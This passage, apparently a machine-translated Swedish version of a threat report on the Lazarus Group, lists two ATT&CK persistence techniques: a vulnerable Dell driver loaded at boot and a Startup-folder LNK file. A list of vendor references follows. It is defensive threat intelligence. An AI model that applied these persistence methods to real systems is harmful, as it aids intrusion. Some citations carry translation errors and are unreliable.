Persistens T1547.006 Starta eller logga in Autostart Execution: Kärnmoduler och tillägg BYOVD DBUtils_2_3.sys installerades för att starta via Boot loader (värde 0x00 i Start nyckel under HKLMSYSTEM‌CurrentControlSetServices.
T1547.001 Starta eller logga in Autostart Execution: Startup Folder Droppern för HTTP(S)-nedladdaren skapar en LNK-fil OneNoteTray.LNK i mappen Startup.

Referensprojekt

Ahnlab. Analysrapport om Lazarus Groups Rootkit-attack med BYOVD. Vers. 1.0. 22 september 2022. Hämtad från AhnLab Security Emergency Response Center.

Ahnlab. (2021, 4 juni). APT-attacker på inhemska företag som använder biblioteksfiler. Hämtad från AhnLab Security Emergency Response Center.

Ahnlab. (2022, 22 september). Analysrapport om Lazarus Groups Rootkit-attack med BYOVD. Hämtad från AhnLab Security Emergency Response Center.

Breitenbacher, D., & Kaspars, O. (2020, juni). Operation In(ter)ception: Flyg- och militärföretag i cyberspioners kors. Hämtad från WeLiveSecurity.com.

ClearSky Research Team. (2020, 13 augusti). Operation "Drömjobb" Utbredd nordkoreansk spionkampanj. Hämtad från ClearSky.com.

Dekel, K. (nd). Sentinel Labs säkerhetsforskning. CVE-2021-21551- Hundratals miljoner Dell-datorer i riskzonen på grund av flera BIOS-drivrutinsprivilegier med eskaleringsfel. Hämtad från SentinelOne.com.

ESET. (2021, 3 juni). ESET Hotrapport T 1 2021. Hämtad från WeLiveSecurity.com.

Bra. (2016, 16 augusti). Equation giveaway. Hämtad från SecureList.com.

HvS-Consulting AG. (2020, 15 december). Hälsningar från Lazarus: Anatomy of a cyber-spionage campaign. Hämtad från hvs-consulting.de.

Cherepanov, A., & Kálnai, P. (2020, november). Lazarus supply-chain attack i Sydkorea. Hämtad från WeLiveSecurity.com.

Kálnai, P. (2017, 2 17). Avmystifierar riktad skadlig programvara som används mot polska banker. (ESET) Hämtad från WeLiveSecurity.com.

Kopeytsev, V., & Park, S. (2021, februari). Lazarus riktar in sig på försvarsindustrin med ThreatNeedle. (Kaspersky Lab) Hämtad från SecureList.com.

Lee, T.-w., Dong-wook, & Kim, B.-j. (2021). Operation BookCode – Inriktning på Sydkorea. Virusbulletin. lokal värd. Hämtad från vblocalhost.com.

Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M., & Gupta, Y. (2022, 14 september). Det är dags att PuTTY! DPRK Job Opportunity Phishing via WhatsApp. Hämtad från Mandiant.com.

Tomonaga, S. (2020, 29 september). BLINDINGCAN – Skadlig programvara som används av Lazarus. (JPCERT/CC) Hämtad från blogs.jpcert.or.jp.

US-CERT CISA. (2020, 19 augusti). MAR-10295134-1.v1 – Nordkoreansk fjärråtkomsttrojan: BLINDINGCAN. (CISA) Hämtad från cisa.gov.

Weidemann, A. (2021, 1 25). Ny kampanj riktad mot säkerhetsforskare. (Google Threat Analysis Group) Hämtad från blog.google.

Wu, H. (2008). Stream Cipher HC-128. I M. Robshaw, & O. Billet, Nya Stream Cipher Designs (Vol. 4986). Berlin, Heidelberg: Springer. Hämtad från doi.org.

plats_img

Senaste intelligens

plats_img

Chatta med oss

Hallå där! Hur kan jag hjälpa dig?